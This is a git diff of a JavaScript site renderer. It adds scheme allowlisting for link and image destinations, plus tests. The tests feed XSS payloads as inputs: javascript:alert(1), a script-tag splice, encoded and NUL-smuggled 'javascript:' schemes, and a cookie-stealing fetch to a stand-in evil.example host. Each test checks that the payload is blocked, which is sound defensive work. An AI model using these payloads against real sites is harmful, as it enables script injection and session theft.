escAttr(p.tone) + '"' : '') + '>' + fig + name + rl + '<div class="st-person-body">' + bodyHtml(fi.rest) + '</div>' + lk + '</div>'; @@ -1799,8 +2044,10 @@ function renderSection(s) { const gid = (t) => 'group-' + slugify(t, 'g'); const badges = (b) => String(b || '').split('·').map((x) => x.trim()).filter(Boolean); const linkIsGh = pm.link && typeof pm.link === 'object' && /github\.com/.test(pm.link.href); - const link = pm.link && typeof pm.link === 'object' - ? '<a class="st-collection-link' + (linkIsGh ? ' st-collection-link-gh' : '') + '" href="' + escAttr(pm.link.href) + '"' + (/^https?:\/\//.test(pm.link.href) ? ' target="_blank" rel="noopener"' : '') + '><span>' + escHtml(pm.link.label) + '</span>' + arrowSvg(/^https?:\/\//.test(pm.link.href) ? 'up-right' : 'right', 16) + '</a>' : ''; + const linkOk = pm.link && typeof pm.link === 'object' && isSafeHref(pm.link.href); + const link = linkOk + ? '<a class="st-collection-link' + (linkIsGh ? ' st-collection-link-gh' : '') + '" href="' + escHrefAttr(pm.link.href) + '"' + (/^https?:\/\//.test(pm.link.href) ? ' target="_blank" rel="noopener"' : '') + '><span>' + escHtml(pm.link.label) + '</span>' + arrowSvg(/^https?:\/\//.test(pm.link.href) ? 'up-right' : 'right', 16) + '</a>' + : (pm.link && typeof pm.link === 'object') ? '<span class="st-collection-link"><span>' + escHtml(pm.link.label) + '</span></span>' : ''; const head = '<div class="st-collection-head">' + (s.title ? '<h2>' + inlineHtml(s.title) + '</h2>' : '') + bodyHtml(s.body) + link + '</div>'; const eyebrow = pm.eyebrow ? '<p class="st-collection-eyebrow">' + escHtml(typeof pm.eyebrow === 'object' ? pm.eyebrow.label : pm.eyebrow) + '</p>' : ''; const pills = multi ? '<nav class="st-collection-pills" aria-label="Categories">' + @@ -1814,10 +2061,18 @@ function renderSection(s) { // 🩸 corrected 2026-07-05: live only wraps "View on GitHub" as an <a> when there's ALSO a // learn page (the card-wide link then targets learn, so GH needs its own anchor); without // one, the whole card already links to GitHub and live renders it as plain text. - const ghTag = it.learn ? 'a' : 'span'; + // 🩸 round 2, P1-1: `it.href`/`it.learn` only ever became live hrefs when the OTHER + // field was also present (see the 2026-07-05 comment above); now both additionally + // require isSafeHref, degrading to the plain (no-href) shape either branch already has. + // (round 3, R2-P1-1: the anchor for `it.href` must gate on isSafeHref(it.href) itself — + // gating it on `learnOk` validated the wrong field and let a bad it.href go live + // whenever it.learn happened to be safe.) + const ghOk = it.href && isSafeHref(it.href); + const learnOk = it.learn && isSafeHref(it.learn); + const ghTag = (ghOk && learnOk) ? 'a' : 'span'; const meta = (it.href || it.learn) ? '<div class="st-item-meta">' + (it.updated ? '<span class="st-item-updated">Updated ' + escHtml(it.updated) + '</span>' : '') + - (it.href ? '<' + ghTag + ' class="st-item-gh"' + (it.learn ? ' href="' + escAttr(it.href) + '" target="_blank" rel="noopener"' : '') + '>View on GitHub ' + arrowSvg('up-right', 12) + '</' + ghTag + '>' : '') + - (it.learn ? '<a class="st-item-learn" href="' + escAttr(it.learn) + '">Learn more ' + arrowSvg('right', 12) + '</a>' : '') + '</div>' : ''; + (it.href ? '<' + ghTag + ' class="st-item-gh"' + ((ghOk && learnOk) ? ' href="' + escHrefAttr(it.href) + '" target="_blank" rel="noopener"' : '') + '>View on GitHub ' + arrowSvg('up-right', 12) + '</' + ghTag + '>' : '') + + (learnOk ? '<a class="st-item-learn" href="' + escHrefAttr(it.learn) + '">Learn more ' + arrowSvg('right', 12) + '</a>' : '') + '</div>' : ''; return '<div class="st-cell st-item"><div class="st-item-head"><h4>' + inlineHtml(it.title) + '</h4>' + bdg + '</div>' + bodyHtml(it.body) + tags + meta + '</div>'; }).join(''); return '<div class="st-collection-group"><p class="st-collection-group-head" id="' + gid(g.title) + '">' + inlineHtml(g.title) + '</p><div class="st-cells">' + cards + '</div></div>'; @@ -1868,7 +2123,11 @@ function renderSection(s) { // inline links. Body is a markdown list of `- [Label](/href)`; each becomes an `.st-tag` // anchor laid out inline-wrapping. General — any site with a tag/category cloud module. const links = tagcloudLinks(s.body); - const tags = links.map((l) => '<a class="st-tag" href="' + escAttr(l.href) + '">' + inlineHtml(l.label) + '</a>').join(''); + // 🩸 round 2, P1-1: each tag is an author `[Label](href)` destination, same class as a CTA + // link; a disallowed one degrades to a plain `<span>` tag, never a live href. + const tags = links.map((l) => isSafeHref(l.href) + ? '<a class="st-tag" href="' + escHrefAttr(l.href) + '">' + inlineHtml(l.label) + '</a>' + : '<span class="st-tag">' + inlineHtml(l.label) + '</span>').join(''); return '<section class="st-tagcloud">' + (s.title ? '<h2>' + inlineHtml(s.title) + '</h2>' : '') + '<div class="st-tag-flow">' + tags + '</div></section>'; } @@ -1924,7 +2183,16 @@ function withSectionId(html, id) { return html.replace(/^(<section class="[^"]*")/, '$1 id="' + escAttr(id) + '"'); } +// round 2, P1-2: page-level entry point for the drop-warning queue (see `_dropWarnings` above) — +// stamps whatever isSafeHref/isSafeImageSrc recorded DURING this one render with the page it +// happened on, so a caller that wants diagnostics doesn't have to guess which page produced them. +function _stampDropWarnings(site, before) { + if (_dropWarnings.length === before) return; + const page = String((site.meta || {})[FRONTMATTER_KEY] || (site.meta || {}).title || '(untitled)'); + for (let i = before; i < _dropWarnings.length; i++) _dropWarnings[i].page = page; +} function renderSiteToHtml(site) { + const _before = _dropWarnings.length; const sectionsHtml = (site.sections || []).map((s) => withSectionId(renderSection(s), s.id)).join('\n'); // `layout: sidebar` — two-column shell: fixed sidebar + main content column. // All other values (or absent) fall through to the current single-column output. @@ -1934,24 +2202,38 @@ function renderSiteToHtml(site) { '<div class="st-sidebar-group">' + (g.head ? '<p class="st-sidebar-group-head">' + escHtml(g.head) + '</p>' : '') + '<ul class="st-sidebar-list">' + - g.items.map((it) => '<li>' + (it.href - ? '<a href="' + escAttr(it.href) + '">' + escHtml(it.label) + '</a>' + // 🩸 round 2, P1-1: `it.href` is author `sidebar-nav:` frontmatter, the same class of + // destination as any other coral link; folded into the EXISTING "no href" fallback branch. + g.items.map((it) => '<li>' + ((it.href && isSafeHref(it.href)) + ? '<a href="' + escHrefAttr(it.href) + '">' + escHtml(it.label) + '</a>' : '<span>' + escHtml(it.label) + '</span>') + '</li>').join('') + '</ul></div>' ).join(''); // The site logo lives at the TOP of the sidebar (WP/Blogger sidebar-theme convention: // brand wordmark above the nav), not in a top header band. General for any sidebar site. - const sbLogo = (site.meta || {})['site-logo'] - ? '<a class="st-sidebar-logo" href="/"><img src="' + escAttr(String((site.meta || {})['site-logo']).trim()) + '" alt="' + escAttr((site.meta || {}).title || '') + '" /></a>' + // 🩸 round 2, P1-1/P1-2: `site-logo` is an image src built by hand here (not via imgTag), so + // it needs its own isSafeImageSrc gate — a disallowed value now drops the whole logo block + // rather than reaching a live `<img src>`. + const sbLogoSrc = String((site.meta || {})['site-logo'] || '').trim(); + const sbLogo = (sbLogoSrc && isSafeImageSrc(sbLogoSrc)) + ? '<a class="st-sidebar-logo" href="/"><img src="' + escHrefAttr(sbLogoSrc) + '" alt="' + escAttr((site.meta || {}).title || '') + '" /></a>' : ''; + _stampDropWarnings(site, _before); return '<div class="st-sidebar-layout">' + '<aside class="st-sidebar">' + sbLogo + '<nav class="st-sidebar-nav" aria-label="Sidebar">' + navHtml + '</nav></aside>' + '<div class="st-sidebar-main">' + sectionsHtml + '</div>' + '</div>'; } + _stampDropWarnings(site, _before); return sectionsHtml; } +// round 2, P1-2: opt-in read of the drop-warning queue — returns every {page, scheme, dest} +// recorded since the last call and CLEARS it (so warnings are never double-reported across +// separate takeDropWarnings() calls, e.g. one per build). A build script logs these; nothing in +// this file requires a caller to read them, so existing callers of renderSiteToHtml are unaffected. +function takeDropWarnings() { return _dropWarnings.splice(0); } + // ── derived page description ───────────────────────────────────────────────────────────────────── // A page with no `description:` in its frontmatter used to emit no <meta description>, no // og:description and no twitter:description at all — so its search snippet and every share card @@ -2008,4 +2290,12 @@ export { parseSidebarNav, FRONTMATTER_KEY, KNOWN_TYPES, SITE_LAYER_KEYS, deriveDescription, DESC_MAX, + // round 2, P1-2: opt-in diagnostics for destinations dropped by the shared safe-href/safe-src + // policy — see takeDropWarnings' own comment. Additive; no existing export's shape changed. + takeDropWarnings, + // round 3: the Astro layer's front door to the same policy — see safeHref's own comment. + safeHref, safeSrc, + // round 5: the CSS-string escape a gated destination needs before an unquoted url() token — + // see cssUrlString's own comment. + cssUrlString, }; diff --git a/packages/sitetile/site-core.test.js b/packages/sitetile/site-core.test.js index 048b484..1864c67 100644 --- a/packages/sitetile/site-core.test.js +++ b/packages/sitetile/site-core.test.js @@ -4,7 +4,8 @@ import assert from 'node:assert/strict'; import { parseSite, serializeSite, isSiteFile, renderSiteToHtml, parseParams, FRONTMATTER_KEY, - ctaButtonsHtml, linkButtonsHtml, bodyHtml, + ctaButtonsHtml, linkButtonsHtml, bodyHtml, inlineHtml, ctaHtml, takeDropWarnings, + safeHref, safeSrc, } from './site-core.js'; let passed = 0; @@ -142,7 +143,9 @@ test('render: each of the 5 types emits its st- section', () => { test('render: hero bg → background-image, cta param → anchor', () => { const html = renderSiteToHtml(parseSite(CANON)); - assert.ok(html.includes('background-image:url(cover.jpg)'), 'hero bg'); + // round 5 (R4-P3-6): bg= now emits a QUOTED, CSS-string-escaped url() — see cssUrlString's own + // comment for why an unquoted url() token was a CSS-declaration-injection sink. + assert.ok(html.includes('background-image:url("cover.jpg")'), 'hero bg'); assert.ok(html.includes('<a class="st-hero-cta" href="/signup">Get started</a>'), 'hero cta anchor'); assert.ok(html.includes('<a class="st-cta-btn st-cta-btn-primary" href="/signup">Sign up<span class="st-cta-arrow" aria-hidden="true"><span class="signet-arrow"'), 'cta button anchor carries the interactive signet-arrow (internal → right), not a static ↗ glyph'); }); @@ -634,6 +637,271 @@ test('links: a URL with a matched pair of underscores stays a link (emphasis mus assert.ok(!html.includes(']\(http'), 'no literal markdown link syntax left on the page'); }); +test('link destination containing angle brackets is escaped before it is restored', () => { + // A destination-shaped `](…)` fragment used to be restored RAW into the page, whether or + // not it actually sat inside a real link — letting two unrelated fragments splice a live tag + // into otherwise ordinary prose. + const input = 'Hi ](<script>alert`1`;//) x ](</script>) bye'; + const html = inlineHtml(input); + assert.ok(!html.includes('<script'), 'no live <script> element in the output'); + assert.ok(html.includes('<script>'), 'the angle brackets are entity-escaped'); +}); + +test('a normal link destination keeps its ampersand escaped and is otherwise unchanged', () => { + const html = inlineHtml('[a](https://x/y?z=1&w=2)'); + assert.ok(html.includes('href="https://x/y?z=1&w=2"'), 'the & in the query string is escaped in the href'); + assert.equal(html, '<a href="https://x/y?z=1&w=2" target="_blank" rel="noopener">a</a>'); +}); + +test('a link destination with a disallowed scheme renders as text, not a live href', () => { + const html = inlineHtml('[a](javascript:alert(1))'); + assert.ok(!html.includes('href='), 'no href attribute at all'); + assert.ok(!html.includes('<a '), 'no anchor tag at all'); +}); + +test('an image destination with a disallowed scheme renders no <img>', () => { + const html = inlineHtml('![alt text](javascript:alert(1))'); + assert.ok(!html.includes('<img'), 'no <img> tag'); + assert.ok(!html.includes('src='), 'no src attribute at all'); +}); + +test('a normal image destination is unaffected by the scheme check', () => { + const html = inlineHtml('![alt](/images/x.png)'); + assert.equal(html, '<img class="st-img" src="/images/x.png" alt="alt" loading="lazy" decoding="async">'); +}); + +// ── round 2: widened allowlist (P1-2) ───────────────────────────────────────────────────────── + +test('tel:/sms:/ftp: destinations are live links, not silently dropped', () => { + assert.equal(inlineHtml('[Call](tel:+1234567890)'), '<a href="tel:+1234567890">Call</a>'); + assert.equal(inlineHtml('[SMS](sms:+1)'), '<a href="sms:+1">SMS</a>'); + assert.equal(inlineHtml('[F](ftp://x.example/f)'), '<a href="ftp://x.example/f">F</a>'); +}); + +test('a raster data: image src is allowed; data:image/svg+xml is not', () => { + const html = inlineHtml('![i](data:image/png;base64,iVBORw0KGgo=)'); + assert.equal(html, '<img class="st-img" src="data:image/png;base64,iVBORw0KGgo=" alt="i" loading="lazy" decoding="async">'); + const svg = inlineHtml('![i](data:image/svg+xml;base64,PHN2Zz4=)'); + assert.ok(!svg.includes('<img'), 'svg+xml never becomes a live <img>'); + assert.equal(svg, 'i'); +}); + +test('data: is never allowed on a plain href, even an image MIME', () => { + const html = inlineHtml('[a](data:image/png;base64,iVBORw0KGgo=)'); + assert.ok(!html.includes('<a '), 'data: on an anchor stays plain text'); + assert.equal(html, 'a'); +}); + +test('a disallowed destination records one build-time drop warning naming the page and scheme', () => { + takeDropWarnings(); // drain anything left by an earlier test + const src = '---\nsitetile-page: contact\ntitle: T\n---\n\n## H\n%% sitetile: prose %%\n[a](javascript:alert(1)\n'; + renderSiteToHtml(parseSite(src)); + const warnings = takeDropWarnings(); + assert.equal(warnings.length, 1, 'exactly one warning for the one disallowed destination'); + assert.equal(warnings[0].page, 'contact'); + assert.equal(warnings[0].scheme, 'javascript:'); + assert.deepEqual(takeDropWarnings(), [], 'the queue is drained after being read'); +}); + +test('a newly-allowed scheme (tel:) records no drop warning', () => { + takeDropWarnings(); + const src = '---\nsitetile-page: t\n---\n\n## H\n%% sitetile: prose %%\n[Call](tel:+1)\n'; + renderSiteToHtml(parseSite(src)); + assert.deepEqual(takeDropWarnings(), []); +}); + +// ── round 2: decode-once-escape-once (P2-1) ────────────────────────────────────────────────── + +test('a destination already carrying an entity-escaped ampersand is not double-escaped', () => { + const html = inlineHtml('[a](https://x/y?z=1&w=2)'); + assert.equal(html, '<a href="https://x/y?z=1&w=2" target="_blank" rel="noopener">a</a>'); +}); + +test('a destination with a literal ampersand still gets single-escaped (unchanged behavior)', () => { + const html = inlineHtml('[a](https://x/y?z=1&w=2)'); + assert.equal(html, '<a href="https://x/y?z=1&w=2" target="_blank" rel="noopener">a</a>'); +}); + +test('an entity-encoded javascript: scheme is rejected by the scheme check itself', () => { + assert.equal(inlineHtml('[a](javascript:alert1)'), 'a'); + assert.equal(inlineHtml('[a](javascript:alert1)'), 'a'); +}); + +// ── round 2: wikilink embeds are scheme-checked too (P2-2) ─────────────────────────────────── + +test('a ![[wikilink]] embed with a disallowed scheme renders no live element', () => { + const html = inlineHtml('![[javascript:alert(1)]]'); + assert.ok(!html.includes('<img'), 'no <img>'); + assert.ok(!html.includes('src='), 'no src attribute at all'); +}); + +test('a ![[wikilink]] embed with a safe destination is unaffected', () => { + const html = inlineHtml('![[photos/cover.jpg]]'); + assert.equal(html, '<img class="st-img" src="photos/cover.jpg" alt="cover.jpg" loading="lazy" decoding="async">'); +}); + +// ── round 2: every href/src emitter routes through the shared policy (P1-1) ───────────────── + +test('ctaHtml: a disallowed cta= href degrades to a plain span, never a live link', () => { + const html = ctaHtml({ label: 'Go', href: 'javascript:alert(1)' }, 'st-hero-cta'); + assert.equal(html, '<span class="st-hero-cta">Go</span>'); +}); + +test('ctaButtonsHtml: a disallowed body-link button degrades to a plain span', () => { + // A destination containing `)` truncates RE_CTA_LINK's match (pre-existing, unrelated to this + // fix — see the round-1 review's P3-4) and this paragraph would then fail `onlyLinks` and be + // read as caption prose instead of a button at all; the backtick-call form avoids that so THIS + // test exercises the button path. + const { row } = ctaButtonsHtml(null, '[Donate](javascript:alert`1`)'); + assert.ok(!row.includes('href='), 'no href attribute at all'); + assert.ok(row.includes('<span class="st-cta-btn st-cta-btn-primary">Donate</span>'), 'label survives as plain text'); +}); + +test('linkButtonsHtml: a disallowed hero/social button degrades to a plain span', () => { + const html = linkButtonsHtml([{ label: 'Go', href: 'javascript:alert(1)', primary: true }], 'st-hero'); + assert.ok(!html.includes('href=')); + assert.ok(html.includes('<span class="st-hero-btn st-hero-btn-primary">Go</span>')); +}); + +test('render: the P1-1 probe payload (CTA body link + hero cta= param) never reaches a live href', () => { + const src = [ + '---', 'sitetile-page: t', '---', '', + '## Support us', '%% sitetile: cta %%', + '[Donate](javascript:fetch`//evil.example/`+document.cookie)', '', + '## Hero', '%% sitetile: hero cta="Go"→javascript:alert`1` %%', + 'Lead text.', '', + ].join('\n') + '\n'; + const html = renderSiteToHtml(parseSite(src)); + assert.ok(!html.includes('javascript:'), 'no javascript: scheme survives anywhere in the page'); + assert.ok(!/<a\b/.test(html), 'no anchor at all — both destinations degrade to plain text'); + assert.ok(html.includes('Donate') && html.includes('Go'), 'labels stay visible'); +}); + +test('render: a grid cell with a disallowed href stays a plain (non-link) cell', () => { + const src = [ + '---', 'sitetile-page: t', '---', '', + '## Picks', '%% sitetile: grid cols=2 %%', + '### Bad →javascript:alert(1)', 'text.', + ].join('\n') + '\n'; + const html = renderSiteToHtml(parseSite(src)); + assert.ok(!html.includes('javascript:')); + assert.ok(html.includes('<div class="st-cell"><h3>Bad</h3>'), 'falls back to the plain-cell shape'); +}); + +test('render: a hero standalone image with a disallowed src is dropped, not emitted live', () => { + const src = [ + '---', 'sitetile-page: t', '---', '', + '## Hero', '%% sitetile: hero layout=split %%', + 'Lead text.', '', + '![a](javascript:fetch`//evil.example/`)', '', + ].join('\n') + '\n'; + const html = renderSiteToHtml(parseSite(src)); + assert.ok(!html.includes('javascript:')); + assert.ok(!html.includes('<img')); +}); + +// ── round 3: R2-P1-1 — collection `it.href` must gate on ITSELF, not on `it.learn` ─────────── + +test('collection: a bad it.href does not go live just because it.learn is safe (R2-P1-1)', () => { + takeDropWarnings(); + const src = [ + '---', 'sitetile-page: t', '---', '', + '## Things', '%% sitetile: collection %%', '', + '### G', '', + '#### Item →javascript:alert(1)', '', + 'learn: /safe', '', 'body text', + ].join('\n') + '\n'; + const html = renderSiteToHtml(parseSite(src)); + assert.ok(!html.includes('javascript:'), 'the bad it.href never reaches the page'); + assert.ok(!/<a\b[^>]*st-item-gh/.test(html), 'the GitHub slot is not a live anchor'); + assert.ok(html.includes('<span class="st-item-gh">'), 'it degrades to the plain (span) shape'); + assert.ok(html.includes('<a class="st-item-learn" href="/safe"'), 'the OTHER, safe field is unaffected'); + const warnings = takeDropWarnings(); + assert.ok(warnings.some((w) => w.scheme === 'javascript:'), 'the drop is recorded in the diagnostics queue'); +}); + +test('collection: it.href alone (no learn page) still needs isSafeHref to go live', () => { + const src = [ + '---', 'sitetile-page: t', '---', '', + '## Things', '%% sitetile: collection %%', '', + '### G', '', + '#### Item →javascript:alert(1)', '', + 'body text', + ].join('\n') + '\n'; + const html = renderSiteToHtml(parseSite(src)); + assert.ok(!html.includes('javascript:')); +}); + +test('collection: a safe it.href with a safe it.learn still renders both live (no regression)', () => { + const src = [ + '---', 'sitetile-page: t', '---', '', + '## Things', '%% sitetile: collection %%', '', + '### G', '', + '#### Item →https://github.com/x/y', '', + 'learn: /learn-more', '', 'body text', + ].join('\n') + '\n'; + const html = renderSiteToHtml(parseSite(src)); + assert.ok(/<a class="st-item-gh" href="https:\/\/github\.com\/x\/y"/.test(html), 'GH anchor is live'); + assert.ok(html.includes('<a class="st-item-learn" href="/learn-more"'), 'learn anchor is live'); +}); + +// ── round 3: R2-P2-1 — decodeEntitiesOnce must never throw ──────────────────────────────────── + +test('decodeEntitiesOnce: an out-of-range numeric entity renders the page and escapes the text, never throws', () => { + assert.doesNotThrow(() => inlineHtml('see [a](�) here')); + const html = inlineHtml('see [a](�) here'); + assert.ok(!html.includes('javascript:')); + // the entity could not be decoded to a real code point, so it is left as literal text and + // entity-escaped like any other author-typed `&` — never a thrown RangeError, never a live href + // built from an undecodable scheme. + assert.ok(html.includes('&#x110000;'), 'the undecodable entity is preserved as escaped literal text'); + + const src = [ + '---', 'sitetile-page: t', '---', '', + '## H', '%% sitetile: prose %%', + '[a](�) and [b](�) and [c](�) and [d](� here', + ].join('\n') + '\n'; + assert.doesNotThrow(() => renderSiteToHtml(parseSite(src)), 'a whole page with malformed numeric entities still renders'); +}); + +test('decodeEntitiesOnce: a lone-surrogate numeric entity is left as-is, not turned into an unpaired surrogate', () => { + assert.doesNotThrow(() => inlineHtml('[a](�javascript:alert(1))')); +}); + +// round 4: R3-P3-6 — a C0 control other than tab/LF/CR must not reach the output byte stream as a +// literal control character (a downstream minifier or proxy that STRIPS rather than replaces a +// NUL can turn `java\0script:` back into a live scheme). `�` now decodes to nothing — it is +// rejected by safeCodePoint and left as escaped literal text, the same degradation an undecodable +// entity already gets — never a raw U+0000 in the emitted HTML. +test('decodeEntitiesOnce: a NUL numeric entity is rejected, never emitted as a literal control byte', () => { + const html = inlineHtml('[a](�x)'); + assert.ok(!html.includes('\u0000'), 'no literal NUL in the output: ' + JSON.stringify(html)); + const html2 = inlineHtml('[a](java�script:alert(1))'); + assert.ok(!html2.includes('\u0000'), 'no literal NUL in the output: ' + JSON.stringify(html2)); +}); + +test('safeHref / safeSrc: the Astro-facing helpers return the string or null, matching isSafeHref/isSafeImageSrc', () => { + assert.equal(safeHref('/about'), '/about'); + assert.equal(safeHref('javascript:alert(1)'), null); + assert.equal(safeHref(''), null); + assert.equal(safeHref(null), null); + assert.equal(safeSrc('data:image/png;base64,iVBORw0KGgo='), 'data:image/png;base64,iVBORw0KGgo='); + assert.equal(safeSrc('data:image/svg+xml;base64,PHN2Zz4='), null); + assert.doesNotThrow(() => safeHref('�')); +}); + +// ── round 3: classification consistency — backslash/protocol-relative destinations ──────────── + +test('linkKind: `\\\\evil`, `/\\evil` and `//evil` all classify the same way (external, cross-origin)', () => { + // A browser treats `\` exactly like `/` when resolving a URL, so these three are one + // destination spelled three ways and must not disagree about whether the link leaves the site. + const variants = ['\\\\evil.example', '/\\evil.example', '//evil.example']; + const results = variants.map((href) => linkButtonsHtml([{ label: 'Go', href, primary: true }], 'st-hero')); + for (const html of results) { + assert.ok(html.includes('target="_blank" rel="noopener"'), 'classified external → opens in a new tab: ' + html); + assert.ok(html.includes('signet-arrow--up-right'), 'classified external → up-right arrow: ' + html); + } +}); // ── people coral ─────────────────────────────────────────────────────────────────────────────── // Grown for a client whose ONE roster shape was hand-rolled on five different pages (collaborating @@ -1516,4 +1784,45 @@ test('\ud83d\udd34 #496 round 6 \u2014 R5-P2-02: an ordinary CJK-indented paragr assert.equal(bodyHtml('\u3000\u3000plain text'), '<p>plain text</p>'); }); +// \u2500\u2500 #496 (comment scan) \u00d7 #link-dest (destination escaping): the two interaction cases \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 +// inlineHtml() stashes every `](\u2026)` destination to a N placeholder BEFORE escapeInline()'s +// comment scan ever runs (see inlineHtml's own module comment) \u2014 so the two features never see the +// SAME characters at the SAME time. Composed per CommonMark (a raw HTML comment is not itself part of +// the link-destination grammar, and a destination's own text is never re-parsed for HTML constructs): +// a comment-shaped run of characters that ends up INSIDE a destination is just destination text (never +// recognized as a comment, since escapeInline never sees it \u2014 it is hidden behind the placeholder); +// a destination-shaped `](\u2026)` run that ends up entirely INSIDE a real HTML comment is deleted along +// with the rest of that comment (the placeholder is plain text to the comment scan, gone like any +// other character between `<!--` and `-->`) and never reaches the scheme check at all. +test('#496 x link-dest: an HTML-comment-shaped run INSIDE a destination is destination text, not a comment \u2014 never stripped, never a live scheme', () => { + // No parens in the payload: the destination regex `[^)\s]+` stops at the first `)`, which is not + // this test's concern (a pre-existing, unrelated limitation with a literal `)` inside a URL). + const link = inlineHtml('[a](<!--evil-->javascript:x)'); + // Not stripped: escapeInline's comment scan runs BEFORE stashing restores the placeholder to text \u2014 + // by the time this text is visible again, comment-scanning is long over. The markers survive, escaped. + assert.equal(link, '<a href="<!--evil-->javascript:x">a</a>'); + // Not a live javascript: scheme either: the string does not START with a valid scheme (`<` is not a + // legal scheme character), so isSafeHref resolves it as a path relative to the safe base \u2014 the + // literal text "javascript:x" sits inertly inside an http: URL's path, never executed by a browser. + assert.ok(link.includes('href="'), 'still a real anchor \u2014 the leading comment text does not disallow the whole destination'); + assert.doesNotMatch(link, /href="javascript:/, 'the comment prefix must not be stripped INTO a bare javascript: scheme'); + + const img = inlineHtml('![a](<!--evil-->javascript:x)'); + assert.equal(img, '<img class="st-img" src="<!--evil-->javascript:x" alt="a" loading="lazy" decoding="async">'); +}); + +test('#496 x link-dest: a destination sitting entirely INSIDE an HTML comment is removed with the comment \u2014 no link forms, no drop warning fires', () => { + takeDropWarnings(); // drain anything left by an earlier test + const html = inlineHtml('see <!-- [x](javascript:alert(1)) --> done'); + assert.equal(html, 'see done'); + assert.doesNotMatch(html, /javascript|alert|<a |href=/, 'the fake link never surfaces as text, an href, or anything else'); + // isSafeHref/isSafeImageSrc (the only place a drop is recorded) never ran on this destination \u2014 the + // comment scan deleted the placeholder token along with the rest of the comment before the + // stash-restore step ever reintroduced it into the text stream for the link regex to find. + assert.equal(takeDropWarnings().length, 0, 'a destination erased by comment-removal is not a "disallowed" destination \u2014 it never reached the check'); + + const block = bodyHtml('before <!-- [x](javascript:alert(1)) --> after'); + assert.equal(block, '<p>before after</p>'); +}); + console.log('\nsitetile: ' + passed + ' passed' + (process.exitCode ? ', SOME FAILED' : ', all green'));